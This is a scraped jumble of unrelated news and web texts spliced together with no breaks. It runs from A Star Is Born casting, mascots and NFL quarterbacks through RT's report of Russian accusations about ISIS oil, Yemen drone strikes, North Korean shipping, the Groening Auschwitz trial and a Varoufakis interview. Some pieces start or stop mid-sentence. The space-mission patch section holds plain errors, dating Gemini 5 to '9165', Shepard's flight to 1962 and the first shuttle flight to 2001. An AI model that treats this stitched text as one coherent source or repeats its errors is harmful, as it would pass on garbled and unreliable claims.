firm USD 2 billion cost cap. They came up with two main options: the clipper and a Europa orbiter.The comedian will play a character named Noodles in the Warner Bros. remake.
Dave Chappelle has joined Lady Gaga and Bradley Cooper in Warner Bros.' remake of A Star Is Born.
Cooper is not only starring opposite Lady Gaga, but is making his directorial debut with the film.
The movie is based on the 1937 film starring Janet Gaynor and Fredric March. The story centers on a movie star who helps an aspiring young actress find fame, even as age and alcoholism send his own career into a downward spiral. It was subsequently remade in 1954 by director George Cukor, with Judy Garland and James Mason starring, and again in 1976, with Barbra Streisand and Kris Kristofferson toplining.
Andrew Dice Clay and Sam Elliott are also on the call sheet for the movie, which is currently in production.
Chappelle will play a character named Noodles, who is Cooper's character's oldest friend. He started out playing with him in blues clubs.
Bill Gerber, Jon Peters, Todd Phillips and Lynette Howell Taylor are producing with Cooper. Basil Iwanyk and Ravi Mehta are executive producing. Cooper also had a hand in crafting the script, with Will Fetters and Eric Roth also writing.
Warners has dated the feature for a Sept. 28, 2018, release.
Chappelle’s recent film credits include Spike Lee’s Chi-Raq, and he hosted Saturday Night Live in November. He also has three new stand-up comedy specials coming up with Netflix, marking his first concert specials in 12 years. He's repped by Gersh.Mascot Hall of Fame Established 2005 Location Whiting, Indiana Founder David Raymond Inductees 18
(8 college; 10 professional) Websites funfurallinwhiting.org
mascothalloffame.com
The Mascot Hall of Fame is a hall of fame for United States sports mascots. It was founded by David Raymond, who was the original Phillie Phanatic from 1978 to 1993. It was founded as an online-only hall, with an induction ceremony taking place each year in Philadelphia, Pennsylvania. However, in September 2014, Raymond's mascot company signed a memorandum of understanding with the City of Whiting, Indiana, to develop a permanent Mascot Hall of Fame on the south shore of Lake Michigan.[1] [2]
Each year (beginning in 2005), mascots are elected into the Mascot Hall of Fame by the voting membership and an executive committee made up of performers, sports executives, and other individuals intimate with the mascot community. The mascots go through a nomination process that ends with the Executive Committee selecting six finalist in each category to be placed on the ballot for consideration. There is a public online vote that contributes a percentage of the final tally. In 2006, the Hall added a separate class to honor college mascots.
The mission of the Mascot Hall of Fame is to honor mascot performers, performances, and programs that have positively affected their communities. The Mascot Hall of Fame has also partnered with the Boys and Girls Clubs and holds an online auction contributing to that cause. The main bulk of the items up for auction are pieces of signed sports memorabilia donated by professional sports teams around the nation.
To be eligible for the Mascot Hall of Fame, a mascot must have existed for a minimum of 10 years. They must also impact both their sport and community, inspire their fans, and consistently give memorable and groundbreaking performances.
Inductees [ edit ]
The Phillie Phanatic with the Montreal Expos' Andrés Galarraga in 1987
Aubie, Auburn University's mascot
Clutch the Bear, the mascot of the Houston Rockets, on Halloween 2005
Bucky Badger, University of Wisconsin-Madison's mascot
Sparty, Michigan State University's mascot
Clutch in 2013
K.C. Wolf, the mascot of the Kansas City Chiefs
Brutus Buckeye, Ohio State University's mascot
Lil' Red, University of Nebraska's mascot
Benny the Bull, the mascot of the Chicago Bulls
Mr. Met, the mascot of the New York Mets, at Fenway Park
Smokey IX, former mascot of the University of Tennessee
References [ edit ]
Coordinates:Despite mounting evidence of ISIS oil smuggling, the US-led coalition in Syria and Iraq is not striking convoys of oil trucks heading to Turkey, Russia’s General Staff has said.
“It’s hard not to notice” the thousands of trucks used by terrorists for oil smuggling, Lieutenant General Sergey Rudskoy, deputy commander of the General Staff, said at a briefing in Moscow on Wednesday.
READ MORE: Russia presents proof of Turkey’s role in ISIS oil trade
“However, we see no strikes on those convoys by the coalition - only a tripling in the number of strategic UAVs has been observed,” he said.
With the US and its allies unwilling to act, the Russian Defense Ministry has reported the locations where Islamic State (IS, formerly ISIS/ISIL) oil tankers are concentrated, Rudskoy said.
The deputy commander stressed that defeating IS would be impossible without curbing its main source of income - the illegal oil trade - and urged the coalition to strike IS oil infrastructure.
Map, images from Russian military show main routes of ISIS oil smuggling to Turkey https://t.co/3g1MQxzfNFpic.twitter.com/LSlBFUlgqc — RT (@RT_com) December 2, 2015
Since September 30, when its airstrikes in Syria began, Russia has eliminated 32 Islamic State oil complexes, 11 refineries and 23 oil pump stations, Rudskoy said, adding that the Russian military had also destroyed 1,080 trucks carrying oil products.
“The income of this terrorist organization was about US$3 million per day. After two months of Russian airstrikes their income was about $1.5 million a day,” he said.
Russia says Turkish leadership involved in illegal oil trade with #ISIShttps://t.co/0tt7cvgyrhpic.twitter.com/4ggMhPdIDI — RT (@RT_com) December 2, 2015
Also on Wednesday, a prominent Iraqi politician said he had addressed the US military on the issue of stopping the illegal IS oil trade, but had received a negative reply.
“I have personally contacted US representatives asking them to target IS trucks transporting Iraqi and Syrian oil to Turkey, only to be told that they were civilian targets so they [the US] could not attack them,” Mowaffak al-Rubaie, leader of the State of Law Coalition party in the Iraqi parliament, told Sputnik.
Speaking at Wednesday’s briefing, Russia’s deputy defense minister, Anatoly Antonov, said that Russia is aware of three main smuggling routes used by IS to deliver oil to its final destinations in Turkey.
Antonov stressed that Turkey’s leadership, including President Recep Tayyip Erdogan and his family, is involved in illegal oil trade with the jihadists.
LISTEN MORE:Bruce Arians revealed in late March that he held Logan Thomas out of the Arizona Cardinals' playoff loss because he wasn't going to let his 2014 fourth-round draft pick fail on the big stage.
Although Thomas is a raw developmental project unlikely to be ready for another couple of years, Arians didn't want to ruin that potential before the former Virginia Tech star had a fighting chance to stick at quarterback in the NFL.
Now Arians is switching gears, throwing Thomas' No. 3 job "wide open" for competition, with former Colts' "Mr. Irrelevant" Chandler Harnish and undrafted Winston-Salem State rookie Phillip Sims in the hunt.
Arians has been particularly impressed with Sims, who began his college career at Alabama.
"He was able to get it. His reads were correct," Arians gushed after rookie minicamp. "He actually changed a protection once and I was like, 'Whoa, you're up to level five already. These guys can't do that.' And he was very accurate. He got my attention. He's in the mix."
That glowing report on Sims is evidence that Arians has gone from coddling Thomas as a rookie to challenging him as an NFL sophomore.
Perhaps last year's reliance on Ryan Lindley has driven home the point that the Cardinals need a developmental quarterback capable of stepping in without holding the rest of the team hostage.
The latest Around The NFL Podcast welcomes Lindsay Rhodes to discuss the Patriots' response in the "Deflategate" saga and the latest names revealed on the "The Top 100 Players of 2015" countdown. Find more Around The NFL content on NFL NOW.Mission insignia are a traditional part of our space program. They have been accompanying our astronauts into space since the first brave explorers left the Earth behind. The first mission patch was worn by Soviet cosmonaut Valentina Tereshkova on the Vostok-6 mission in 1963. American astronauts, most of whom were military pilots, took their tradition of shoulder patches with them into space. The first American mission patch was worn by astronauts on Gemini 5 in 9165. Welcome to the most comprehensive collection of Space Mission Insignia and Space Mission Patch images anywhere on the Web. The images provided on these pages are for viewing enjoyment only. High resolution images may be acquired from NASA. All of these images were obtained from NASA sources and NASA partners. Click on the categories below to view the collections.
Project Mercury was the first American human spaceflight program. It consisted of 6 manned missions from 1961 through 1963. Alan Shepard was the first American in space on may 5, 1962.
Project Gemini was America's second manned space program. It consisted of 10 manned missions from 1965 to 1966 and perfected technologies and procedures for the upcoming Apollo missions.
Project Apollo was America's third manned space program. It consisted of 12 manned mission from 1967 to 1972, culminating in astronauts walking on and exploring the surface of the Moon.
Project Skylab was America's first working space station. It orbited the Earth from 1973 to 1979, and included a workshop, a solar observatory, and other scientific systems.
The Space Shuttle was America's first partially reusable spacecraft. Its official program name was Space Transportation System, or STS. The first manned flight took place on February 7, 2001.
The next five year period of the Space Shuttle program saw tragedy with the Challenger accident, but also saw many successes the successful launches of Magellan and the Hubble Space Telescope.
From 1992 to 1995 there were a total of 35 Space Shuttle flights. This included two successful repair missions for the Solar Max satellite and the Hubble Space Telescope.
From 1996 to 2000 there were a total of 28 Space Shuttle flights. This included the first launch of a module for the International Space Station and astronaut John Glenn's historic return to space.
The final decade of the Space Shuttle program saw 34 flights. This included the tragic loss of shuttle Columbia during STS-107 on 2003. The last flight of the shuttle program occurred on July 8, 2011.
There were other insignia created for the Space Shuttle besides the patches used during the missions. These include test flights, support crews, shuttle programs, and payload experiments.
The International Space Station was first launched into orbit on November 20, 1998. Several missions have served aboard the station and their mission patches image can be found here.
(New)
A number of unmanned missions have been sent to the International Space Station to ferry supplies and experiments. These missions launch from Russia, Europe, Japan, and the United States.
The Russian Soyuz program has served as transportation for several of the missions to the International Space Station. The Soyuz program has their own mission patches for each flight to the station.
Mir was a space station that operated in low Earth orbit for 15 years from 1986 to 2001. The Soyuz spacecraft served as the primary method of transportation for crews to and from the space station.
The Soyuz program was a Russian manned space program that began in the early 1960s. The Soyuz spacecraft eventually became a reliable means for transporting astronauts to Earth orbit.
(New)
The European Space Agency (ESA) is second only to NASA when it comes to space exploration. Established in 1975, the ESA is an international organization with 22 member countries headquartered in Paris, France.
The Shenzhou program is a manned Chinese space program operated by the People's Republic of China. It is directed by the China National Space Administration (CNSA).
The US space program has seen many missions canceled due to budget limitations and unforeseen technical problems. See some of the designs for the missions that never made it into space.
(New)
With the retirement of the American Space Shuttle program, several private companies have begun to develop vehicles to ferry supplies and experiments to the International Space Station.
Space travel programs create their own unique program insignia graphics. From NASA office and divisions to new space travel programs, you will find a variety of interesting designs here.
Our Solar System continues to be one of the most exciting fields of space exploration and research. Missions through the Solar System each receive their own unique mission insignia.
There are about 560 active satellites currently in orbit around the Earth, with many more planned for the future. Earth satellites and orbiting space telescopes have their own mission insignia.(CNN) The US carried out "targeted drone strikes" in Yemen on Friday, Saturday and Sunday, killing a handful of al Qaeda militants, according to a US official and the Pentagon.
The strikes were aimed at al Qaeda in the Arabian Peninsula, and were the first such strikes to take place under President Donald Trump.
The strikes, which were later confirmed by the Pentagon, did not require Trump to sign off on them. Under then-President Barack Obama, the authority to order such strikes in Yemen was devolved to the four-star commander of US Central Command, Gen. Joseph Votel.
The strikes killed five al Qaeda operatives and took place in the town of al Bayda, according to Pentagon spokesman US Navy Capt. Jeff Davis.
"(Al Qaeda in the Arabian Peninsula) remains a significant threat to the region and the United States," Davis said.
Read MoreA man armed with a rifle has killed four people in a rampage in Girona province, north-east Spain, police say.
The gunman walked into a bar in the town of Olot, 120km (70 miles) north of Barcelona, and shot two men - reportedly a father and son who were both construction workers.
Minutes later, he went to a bank and killed two staff, police said.
A 57-year-old Spaniard was later arrested over the killings. Police have not commented on possible motives.
But Olot mayor Lluis Sacrest told local radio that financial problems appeared to have been behind the killings.
Catalan police said in a statement that the alarm was raised at about 0900 GMT, when local officers were alerted to the death of two people in a bar.
"Half an hour later they received information that a man responding to the same physical description entered a banking establishment and killed two employees," the statement said.
Soon after, a man identified only as Pedro PP was arrested.Vessels that appear to be directly controlled by North Korea are making use of South Korean ports and waterways, using numerous techniques to skirt around measures put in place after the sinking of the Cheonan in 2010, an NK News investigation can reveal.
Trade interactions between the two Koreas should be almost non-existent after former President Lee Myong Bak issued the May 4 sanctions.
“Under these circumstances, any inter-Korean trade or other cooperative activity is meaningless,” Lee said in 2010, before also adding North Korean ships would not be allowed to use South Korean waters.
Analysis of data from Marine Traffic shows that while vessels sailing with North Korean flags do adhere to the sanctions, others appear to circumvent the restrictions by exploiting a loophole in maritime law.
North Korean ships have long been known to sail under flags of different countries, a practice known as having a ‘flag of convenience’ (FOC). Reflagging in this way is fairly common in the maritime industry, as it generally allows ships to circumvent safety and environmental laws.
The DPRK uses flags of convenience in combination with networks of paper companies usually based in China and Hong Kong to hide the identity of some of its vessels. Using these methods, a number of ships seem to use South Korean waterways with relative frequency.
MURKY WATERS
It appears that while the May 4 measures are strict on North Korean flagged ships, sailing under a FOC makes matters more complicated for the South Korean authorities.
“We are aware that there are North Korean vessels traveling under flags of convenience, but this is a bit more sensitive,” a government source familiar with the maritime industry told NK News on the condition on anonymity.
“We may confront and stop them if there is reason to believe they are carrying contraband -weapons and such – but otherwise the most we can do is monitor,” the source added.
The loophole indicates that while North Korean flagged ships can’t usually move through South Korean waters, vessels sailing under FOCs have more freedom. How closely the suspect vessels are monitored is unclear, but ultimately it is the duty of South Korea’s intelligence agency (NIS) and the Ministry of Unification.
“We, along with the Port Authorities, do the monitoring, but the comprehensive list of ships being monitored is managed by the NIS. They send out directives to various branches if there are any specific (monitoring) tasks of this kind to be done,” the source continued.
Though no one in South Korea’s Port Authorities would go on record, NK News understands that none of the vessels making use of South Korean ports were crewed by North Koreans, indicating that if the are vessels controlled by the DPRK, they also hire foreign crews to staff them.
THE USUAL SUSPECTS
The 5000 tonne Fu Hong is one of the most frequent visitors to South Korean ports and is also one of the easiest ships flying a FOC to link with the DPRK. According to the NK News vessel tracker, the Fu Hong recently left Dandong, a city on the Chinese side of the Sino-North Korean border for Busan.
Although ship inspection records list the ship’s owner as the Hong Kong based Dahan HK Shipping, the Equasis maritime database shows that Dahan has a care of address back to the Pyongyang based Korea Samhung Corp.
The small North Korean company manages just two ships, the Fu Hong and the North Korean flagged Song Un.
The Fu Hong was also mentioned previously in the UN Panel of Expert’s (PoE) 2013 report. The ship was suspected by the PoE to be controlled by the DPRK after it changed its flag from North Korean to Cambodian in 2012.
Despite making frequent use of Incheon, Busan and Pohang, South Korea’s largest three ports, the Fu Hong has never once been inspected by South Korean port authorities.
This is curious given the Fu Hong’s poor safety performance. Having been detained twice since the start of 2013 – most recently in August after a Japanese inspection yielded 66 safety and environmental deficiencies – the Fu Hong should prove a natural target for South Korea’s Port Authorities.
A further vessel with seemingly clear ties to the DPRK, the Karo Bright, also left the South Korean port of Pyongtaek on the November 3.
Like the Fu Hong, the Karo Bright has a Pyongyang based registered owner, Unphasan Shipping and was flagged in the PoE’s 2013 report. According to Marine Traffic, the ship is currently called the Amur, indicating that it may be in the process of changing its name.
THE COMPANY WEB
Investigation into the Karo Bright’s management structure potentially sheds some light into how the North Korean web of front companies is maintained. As reported previously, the ship’s Hong Kong based management-company Aoyang Marine bears many of the hallmarks of a North Korean front company.
It shares management duties of one ship, the Senyo Maru, with the similarly named Aoyang International. The two companies have a lot in common, they were incorporated within two weeks of each other, and share the same Hong Kong address.
Investigating their annual returns also shows that two men Jack Ka Yu, and Lui Wan Ching appear as Director and Corporate secretary on one company, but have their roles reversed in the other.
One striking difference between the two companies is the amount of money each has in shares. While Aoyang Marine has the minimum share capital required to set up a company in Hong Kong, HKD 10,000 ($1289 U.S.), Aoyang international has more than HKD 38,000,000 ($4,900,000 U.S.) behind it.
The majority of the shares are split between a Chinese company and a British Virgin Islands company simply called “Wealthy International”.
The Senyo Maru was also in South Korean waters this week, along with another member of Aoyang International’s fleet, the Jin Ba Hai 3. The ship was last seen heading past South Korea’s Pohang port, listing Wonsan in North Korea as its destination.
HUNCHUN SINO UNITY
Many of the companies that appear to be trading with North Korea often have less defined links back to Pyongyang. The Hong Kong Based Hunchun Sino Unity Shipping manages nine ships, one of which left South Korea’s Pyongtaek port on October 22.
The exact relationship between Hunchun Sino Unity Shipping is difficult to make out, though North Korean ports appear to be the fleet’s primary destination.
Over the last two weeks, five of its vessels were last seen heading to Pyongyang, though stopped transmitting AIS some distance from the coast, and one of their vessels the New Global was even mentioned in the Rodong Simnun, North Korea’s state newspaper.
Hunchun Sino Unity is just one of numerous companies operating out of Hong Kong that share similar management structures, addresses and shipping routes to the DPRK. Many of the vessels they own pass through South Korean waters without visiting ports along South Korea’s east coast.
As South Korea claims a maritime border 24 nautical miles from its eastern shore, these ships often pass through South Korean waters on their way to the DPRK. The addition of FOCs however makes enforcement difficult in these instances also.
In an article written by Myung-Suk Ko, Director General, Equpment & Technology Bureau, (of the now defunct) Korea Coast Guard Headquarters, Myung acknowledges that while North Korean flagged ships have been escorted from South Korean waters in the past, vessels sailing under FOCs are a more complicated issue.
“In this case, if the North Korean ship were registered under a third flag country, the expulsion of this ship could be a problematic factor,” the article reads.
This grey area surrounding flags of convenience likely presents not only problems with regards trade, but also has security implications. The fact that North Korea employs FOCs on many of its vessels has not gone unnoticed by hawks on the South Korean right who call for stronger maritime surveillance, citing the DPRK’s long history of sea borne incursions in South Korea throughout the 1970s and 80s.
More recently in 2012, the Cambodian flagged Harmony Wish was caught carrying scud missile launchers to North Korea along with a letter addressed to Kim Jong Un. While at the time its management company was reported in some news outlets as Dalian Qingsong Co, ship inspection records from the same show that the vessel is administered by the Dalian based Harmony Growing Ship.
Though at the time the ship did not pass through South Korean waters, it was docked in Pohang port along with its sister ship the Harmony Rich on October 31. Though unlikely to be directly owned by North Korea, the case highlights how the murky nature of the shipping industry can give the DPRK’s procurement network room to breathe.
Additional reporting by Ye Seul Byeon and Max KimFormer SS guard Oskar Groening, 93, is accused of helping to operate the death camp Auschwitz in Nazi-occupied Poland between May and June 1944, when some 425,000 Jews from Hungary were brought there and at least 300,000 were almost immediately gassed to death. Markus Schreiber/AP
By DAVID RISING, Associated Press
LUENEBURG, Germany (AP) — A former SS sergeant described in chilling detail Wednesday how cattle cars full of Jews were brought to the Auschwitz death camp, the people stripped of their belongings and then most led directly into gas chambers.
Oskar Groening is being tried on 300,000 counts of accessory to murder, related to a period between May and July 1944 when around 425,000 Jews from Hungary were brought to the Auschwitz-Birkenau complex in Nazi-occupied Poland and most immediately gassed to death.
During that period, so many trains were arriving that often two would have to wait with closed doors as the first was "processed," Groening testified at the Lueneburg state court.
Though he was more regularly assigned to the camp's Auschwitz I section, he said he guarded the Birkenau ramp three times, including one busy 24-hour shift. The main gas chambers were located at Birkenau.
"The capacity of the gas chambers and the capacity of the crematoria were quite limited. Someone said that 5,000 people were processed in 24 hours but I didn't verify this. I didn't know," he said. "For the sake of order we waited until train 1 was entirely processed and finished."
Auschwitz survivors describe their arrival as chaotic, with Nazi guards yelling orders, dogs barking and families being ripped apart.
But Groening, 93, maintained the opposite, saying "it was very orderly and not as strenuous" on the ramp at Birkenau.
"The process was the same as Auschwitz I. The only difference was that there were no trucks," he said during the second day of his trial. "They all walked — some in one direction some, in another direction... to where the crematoria and gas chambers were."
No pleas are entered in the German system and Groening said as his trial opened Tuesday that he considers himself "morally guilty," but it was up to the court to decide if he was legally guilty. He faces between three and 15 years in prison if convicted in the trial, which is scheduled through July.
Eva Kor, 81, was one of the Jews who arrived at Auschwitz in 1944. Though she doesn't remember Groening personally, she said she can't forget the scene.
"Everything was going very fast. Yelling, crying, pushing; even dogs were barking. I had never experienced anything that fast or that crazy in my entire life," she told The Associated Press before addressing the court.
Her two older sisters and parents were taken directly to the gas chambers, while she and her twin sister, both 10 at the time, were ripped away from their mother to be used as human guinea pigs for notorious camp Dr. Josef Mengele's experiments.
"All I remember is her arms stretched out in despair as she was pulled away," Kor remembered. "I never even got to say goodbye."
Kor, who now lives in Indiana, is one of more than 60 Auschwitz survivors and their families from the U.S., Canada, Israel and elsewhere who have joined the trial as co-plaintiffs as allowed under German law.
Thomas Walther, who represents many co-plaintiffs, said he and his clients were happy Groening agreed to testify, but suspected he was withholding many details.
"There is an ocean of truth, but with many islands of lies," he said.
Kor, the first co-plaintiff to address the court, described her experience Wednesday and asked Groening whether he knew Mengele or details about files he kept in hopes of learning more about what diseases she and her sister, who both survived the camp, were injected with.
Groening showed no reaction to Kor's statement and his attorney, Hans Holtermann, said his client would try to answer what questions he could, but he didn't believe that Groening knew Mengele.
Groening guarded prisoners' baggage on the ramps, but his main task was to collect and tally money stolen from the new arrivals and then send it to Berlin — a job for which the German press has dubbed him the "Accountant of Auschwitz."
While he previously testified he was "horrified" by individual atrocities he witnessed, he suggested Wednesday his daily thoughts were more pedestrian, like when the guards heard a train loaded with Hungarian Jews would be arriving.
"If this is Hungary, they have bacon on board," he remembered thinking.
Though he was investigated twice before and no charges were brought, Groening was indicted under a new line of German legal reasoning that anyone who helped a death camp function can be accused of being an accessory to murder without evidence of participation in a specific crime. Groening, who worked for an insurance company after the war, has testified as a witness in other Nazi trials.
Outside court, Kor said she wished Groening would use the trial to try and dissuade "misguided young people" today from becoming neo-Nazis but she was still satisfied with his testimony.
"I'm going to take whatever confession he gives — it's better than no confession," she told reporters. "Maybe this is the best thing he has ever done in his life. Isn't that sad?"Most |
well cared for... they did describe this as a case of rape.
The woman clearly had scratches on her face and bruises on her body. She claimed she was able to escape her captors with help from neighbors in the area where she was detained.
The Associated Press reported that during the melee hotel waiters called her a traitor and told her to shut up.
As she was being led away, she screamed: Look at what happens - Gaddafi's militiamen kidnap women at gunpoint, and rape them... they rape them.”
She was bundled into a car outside the hotel and driven to an undisclosed location.
During the hotel disturbance several foreign journalists were manhandled and some had their cameras broken.My former company hired highly skilled people who were educated by American schools and universities. Our work was made possible by our nation's physical and electronic infrastructure, including the air traffic system that ferried us to customer sites and the Internet communications we used to collaborate on projects. Our relationships with our customers and partners depended on the stability and predictability of U.S. contract and corporate law. (That said, patent litigation is getting out of hand.)
My former company was very fortunate. Venture capital firms were willing to bet on us during the depths of the technology crash. Our first customers were willing to bet on us when our products were still unproven. We could have failed at any time and in any number of ways.
I know that business success depends as much on luck as on innovative ideas and hard work. I know that the amount of money you make is not an indication of your value as a person or even of the value of your work.
I know that life is unfair. I know that there are people who live by the rules, pay their bills, and work hard, yet cannot afford to retire comfortably. I know that there are people who become disabled in the prime of their careers; who pay for long-term care for their parents; who struggle to pay the medical bills for their sick children; who are laid off in the depths of a recession and are unable to find new jobs.
I believe that to remain a great nation, we must do two things.
First, we must preserve the equality of opportunity that makes it possible for any American to dream of success or, at least, to look forward to a better future. We must invest in our educational system, from pre-school programs that help bridge the gap between rich and poor to public universities that train the entrepreneurs of tomorrow. We must fight discrimination in all its forms so that our society can benefit from the talents of all its members. We must ensure equal access to justice for all people, not just those who can afford good lawyers.
Second, we must recognize that not everyone will be financially successful and we must maintain a real safety net for people who need help. A society where the lucky few reap prodigious financial rewards is one where many will fall short of their dreams through no fault of their own. We must insure all people against disability, against sickness, against hunger, and against homelessness.
I realize that these things cost money. I believe that the costs of building and maintaining a great country should be shared by all of us, beginning with the people who benefit the most from our society. I believe that people like me (and people who are far wealthier) should pay more in taxes.
I have contributed tens of thousands of dollars to congressional candidates who, if elected, will vote to raise my taxes.
I believe that the phrase "job creator" should always be placed in quotation marks and should be banished from the English language once this election season is over.
>In a statement, Union Cycliste Internationale (UCI) -- cycling's world governing body -- confirmed that it will "have the resources in place to conduct between 3,000 and 4,000 tests." Thermal cameras have been set up by the French Alternative Energies and Atomic Energy Commission at the request of the French government and can be used on the back of a motorcycle or on the side of the road.
The UCI says it will also employ "unpredictable" testing protocols, including manual bike checks and magnetic scans, to ensure no Tour de France rider is gaining an unfair advantage.
Earlier this year, officials at the cyclocross World Championships found a motor in a bike ridden by Belgian star Femke Van den Driesshe. The professional cyclist received a six-year ban for hiding a Vivax motor and battery in the seat tube of her bike, was stripped of all her titles and handed a 20,000 CHF (20,569 US dollar) fine.
"Since the beginning of the year, we are sending a clear message which is that there is literally no-where to hide for anyone foolish enough to attempt to cheat in this way," said UCI President Brian Cookson. "A modified bike is extremely easy to detect with our scanners and we will continue to deploy them extensively throughout the Tour and the rest of the season."When Yanis Varoufakis was elected to parliament and then named as Greek finance minister in January, he embarked on an extraordinary seven months of negotiations with the country’s creditors and its European partners.
On July 6, Greek voters backed his hardline stance in a referendum, with a resounding 62% voting No to the European Union’s ultimatum. On that night, he resigned, after prime minister Alexis Tsipras, fearful of an ugly exit from the eurozone, decided to go against the popular verdict. Since then, the governing party, Syriza, has splintered and a snap election has been called. Varoufakis remains a member of parliament and a prominent voice in Greek and European politics.
When asked about Tsipras’s decision to trigger a snap election, inviting the Greek public to issue their judgement on his time in office, Varoufakis said:
If only that were so! Voters are being asked to endorse Alexis Tsipras’ decision, on the night of their majestic referendum verdict, to overturn it; to turn their courageous No into a capitulation, on the grounds that honouring that verdict would trigger a Grexit. This is not the same as calling on the people to pass judgement on a record of steadfast opposition to a failed economic programme doing untold damage to Greece’s social economy. It is rather a plea to voters to endorse him, and his choice to surrender, as a lesser evil.
The Conversation asked nine leading academics what their questions were for a man who describes himself as an “accidental economist”. His answers reveal regrets about his own approach during a dramatic 2015, a withering assessment of France’s power in Europe, fears for the future of Syriza, a view that Syriza is now finished, and doubts over how effective Jeremy Corbyn could be as leader of Britain’s Labour party.
Anton Muscatelli, University of Glasgow - Why was Greek prime minister Alexis Tsipras persuaded to accept the EU’s pre-conditions around the third bailout discussions despite a decisive referendum victory for the No campaign; and is this the end of the road for the anti-austerity wing of Syriza in Greece?
Varoufakis: Tsipras’ answer is that he was taken aback by official Europe’s determination to punish Greek voters by putting into action German finance minister Wolfgang Schäuble’s plan to push Greece out of the eurozone, redenominate Greek bank deposits in a currency that was not even ready, and even ban the use of euros in Greece. These threats, independently of whether they were credible or not, did untold damage to the European Union’s image as a community of nations and drove a wedge through the axiom of the eurozone’s indivisibility.
Alkis Konstantinidis/Reuters
As you probably have heard, on the night of the referendum, I disagreed with Tsipras on his assessment of the credibility of these threats and resigned as finance minister. But even if I was wrong on the issue of the credibility of the troika’s threats, my great fear was, and remains, that our party, Syriza, would be torn apart by the decision to implement another self-defeating austerity program of the type that we were elected to challenge. It is now clear that my fears were justified.
Roy Bailey, University of Essex - Was the surprise referendum of July 5 conceived as a threat point for the ongoing bargaining between Greece and its creditors and has the last year caused you to adjust how you think about Game Theory?
Varoufakis: I shall have to disappoint you Roy {Editor’s note: Roy Bailey taught Varoufakis at Essex and advised on his PhD}. As I wrote in a New York Times op-ed, Game Theory was never relevant. It applies to interactions where motives are exogenous and the point is to work out the optimal bluffing strategies and credible threats, given available information. Our task was different: it was to persuade the “other” side to change their motivation vis-à-vis Greece.
I represented a small, suffering nation in its sixth straight year of deep recession. Bluffing with our people’s fate would be irresponsible. So I did not. Instead, we outlined that which we thought was a reasonable position, consistent with our creditors’ own interests. And then we stood our ground. When the troika pushed us into a corner, presenting me with an ultimatum on June 25 just before closing Greece’s banking system down, we looked at it carefully and concluded that we had neither a mandate to accept it (given that it was economically non-viable) nor to decline it (and clash with official Europe). Instead we decided to do something terribly radical: to put it to the Greek people to decide.
Lastly, on a theoretical point, the “threat point” in your question refers to John Nash’s bargaining solution which is based on the axiom of non-conflict between the parties. Tragically, we did not have the luxury to make that assumption.
Cristina Flesher Fominaya, University of Aberdeen - The dealings between Greece and the EU seemed more like a contest between democracy and the banks, than a negotiation between the EU and a member state. Given the outcome, are there any lessons that you would take from this for other European parties resisting the imperatives of austerity politics?
Varoufakis: Allow me to phrase this differently. It was a contest between the right of creditors to govern a debtor nation and the democratic right of the said nation’s citizens to be self-governed. You are quite right that there was never a negotiation between the EU and Greece as a member state of the EU. We were negotiating with the troika of lenders, the International Monetary Fund, the European Central Bank and a wholly weakened European Commission in the context of an informal grouping, the Eurogroup, lacking specific rules, without minutes of the proceedings, and completely under the thumb of one finance minister and the troika of lenders.
Yannis Behrakis/Reuters
Moreover, the troika was terribly fragmented, with many contradictory agendas in play, the result being that the “terms of surrender” they imposed upon us were, to say the least, curious: a deal imposed by creditors determined to attach conditions which guarantee that we, the debtor, cannot repay them. So, the main lesson to be learned from the last few months is that European politics is not even about austerity. Or that, as Nicholas Kaldor wrote in The New Statesman in 1971, any attempt to construct a monetary union before a political union ends up with a terrible monetary system that makes political union much, much harder. Austerity and a hideous democratic deficit are mere symptoms.
Panicos Demetriades, University of Leicester - Did you ever think that your message was being diluted or becoming noisy, or even incoherent, by giving so many interviews?
Varoufakis: Yes. I have regretted several interviews, especially when the journalists involved took liberties that I had not anticipated. But let me also add that the “noise” would have prevailed even if I granted far fewer interviews. Indeed the media game was fixed against our government, and me personally, in the most unexpected and repulsive way. Wholly moderate and technically sophisticated proposals were ignored while the media concentrated on trivia and distortions. Giving interviews where I would, to some extent, control the content was my only outlet. Faced with an intentionally “noisy” media agenda that bordered on character assassination, I erred on the side of over-exposure.
Simon Wren-Lewis, University of Oxford - Might it have been possible for a forceful France to have provided an effective counterweight to Germany in the Eurogroup, or did Germany always have a majority on its side?
Varoufakis: The French government feels that it has a weak hand. Its deficit is persistently within the territory of the so-called excessive deficit procedure of the European Commission, which puts Pierre Moscovici, the European commissioner for economic and financial affairs, and France’s previous finance minister, in the difficult position of having to act tough on Paris under the watchful eye of Wolfgang Schäuble, the German finance minister.
It is also true, as you say, that the Eurogroup is completely “stitched up” by Schäuble. Nevertheless, France had an opportunity to use the Greek crisis in order to change the rules of a game that France will never win. The French government has, thus, missed a major opportunity to render itself sustainable within the single currency. The result, I fear, is that Paris will soon be facing a harsher regime, possibly a situation where the president of the Eurogroup is vested with draconian veto powers over the French government’s national budget. How long, once this happens, can the European Union survive the resurgence of nasty nationalism in places like France?
Kamal Munir, University of Cambridge – You often implied that what went on in your meetings with the troika (the IMF, ECB and European Commission) was economics only on the surface. Deep down, it was a political game being played. Don’t you think we are doing a disservice to our students by teaching them a brand of economics that is so clearly detached from this reality?
Varoufakis: If only some economics were to surface in our meetings with the troika, I would be happy! None did.
Even when economic variables were discussed, there was never any economic analysis. The discussions were exhausted at the level of rules and agreed targets. I found myself talking at cross-purposes with my interlocutors. They would say things like: “The rules on the primary surplus specify that yours should be at least 3.5% of GDP in the medium term.” I would try to have an economic discussion suggesting that this rule ought to be amended because, for example, the 3.5% primary target for 2018 would depress growth today, boost the debt-to-GDP ratio immediately and make it impossible to achieve the said target by 2018.
Yves Herman/Reuters
Such basic economic arguments were treated like insults. Once I was accused of “lecturing” them on macroeconomics. On your pedagogical question: while it is true that we teach students a brand of economics that is designed to be blind to really-existing capitalism, the fact remains that no type of sophisticated economic thinking, not even neoclassical economics, can reach the parts of the Eurogroup which make momentous decisions behind closed doors.
Mariana Mazzucato, University of Sussex – How has the crisis in Greece (its cause and its effects) revealed failings of neoclassical economic theory at both the micro and the macro level?
Varoufakis: The uninitiated may be startled to hear that the macroeconomic models taught at the best universities feature no accumulated debt, no involuntary unemployment and, indeed, no money (with relative prices reflecting a form of barter). Save perhaps for a few random shocks that demand and supply are assumed to quickly iron out, the snazziest models taught to the brightest of students assume that savings automatically turn into productive investment, leaving no room for crises.
It makes it hard when these graduates come face-to-face with reality. They are at a loss, for example, when they see German savings that permanently outweigh German investment while Greek investment outweighs savings during the “good times” (before 2008) but collapses to zero during the crisis.
